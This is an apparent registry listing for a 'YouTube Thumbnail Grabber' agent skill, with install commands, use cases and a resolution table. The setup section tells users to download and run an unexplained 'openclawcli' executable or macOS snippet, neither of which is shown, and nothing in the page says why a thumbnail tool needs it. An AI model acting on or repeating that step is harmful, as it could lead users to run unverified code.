A versatile tool for downloading YouTube video thumbnails in multiple resolutions and formats using yt-dlp.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install youtube-thumbnail-grabber
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install youtube-thumbnail-grabber using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is YouTube Thumbnail Grabber?
The YouTube Thumbnail Grabber is a technical utility designed to fetch preview images from YouTube videos with precision. By leveraging yt-dlp and the underlying infrastructure of Openclaw Skills, this tool allows users to extract thumbnails in various qualities, from standard definition to maximum resolution. It is particularly useful for developers building media galleries or creators who need high-quality assets for their workflows.
This skill requires the openclawcli utility to be active on the host machine to manage image operations and downloads successfully. Whether you are automating a media pipeline or grabbing a single frame, this component of Openclaw Skills ensures a reliable and streamlined experience.
YouTube Thumbnail Grabber Use Cases
- Extracting high-resolution thumbnails for blog posts or social media assets.
- Creating image collages or galleries from entire YouTube playlists.
- Saving video preview frames for offline reference, archival, or documentation.
- Automating thumbnail retrieval for video-sharing platforms or custom CMS integrations.
How YouTube Thumbnail Grabber Works
- Ensure the openclawcli utility is installed and running on your system to enable core image operations.
- Provide the target YouTube Video URL or ID to the skill via the command line or agent interface.
- The tool utilizes yt-dlp to identify available resolutions and fetch the corresponding metadata.
- It downloads the requested thumbnail or specific frame capture directly to your specified local directory.
YouTube Thumbnail Grabber Setup
To begin using this skill, install the core dependency via pip:
pip install yt-dlp
Additionally, you must have the openclawcli utility active. Download and run the executable for Windows or execute the installation snippet for macOS to ensure compatibility with Openclaw Skills.
YouTube Thumbnail Grabber Data Schema & Taxonomy
The skill organizes downloads based on resolution types and video IDs. Below is the mapping for YouTube thumbnail data types:
| Name | Resolution | Notes |
|---|---|---|
| maxresdefault | 1280x720 | Highest quality; typically available for HD videos |
| hqdefault | 480x360 | High quality standard preview |
| mqdefault | 320x180 | Medium quality preview |
| default | 120x90 | Smallest size; always available |
| 0, 1, 2, 3 | 120x90 | Specific frame captures from different parts of the video |
YouTube Thumbnail Grabber Advanced Features
- Batch processing: Download thumbnails from entire playlists or a text file containing multiple URLs.
- Format Conversion: Automatically convert WebP thumbnails to JPG using integrated hooks.
- Metadata Extraction: Fetch comprehensive resolution options and image URLs in JSON format for programmatic use.
- Alternative Frames: Access frame captures 0 through 3 to get different moments from the video timeline.
SKILL.md
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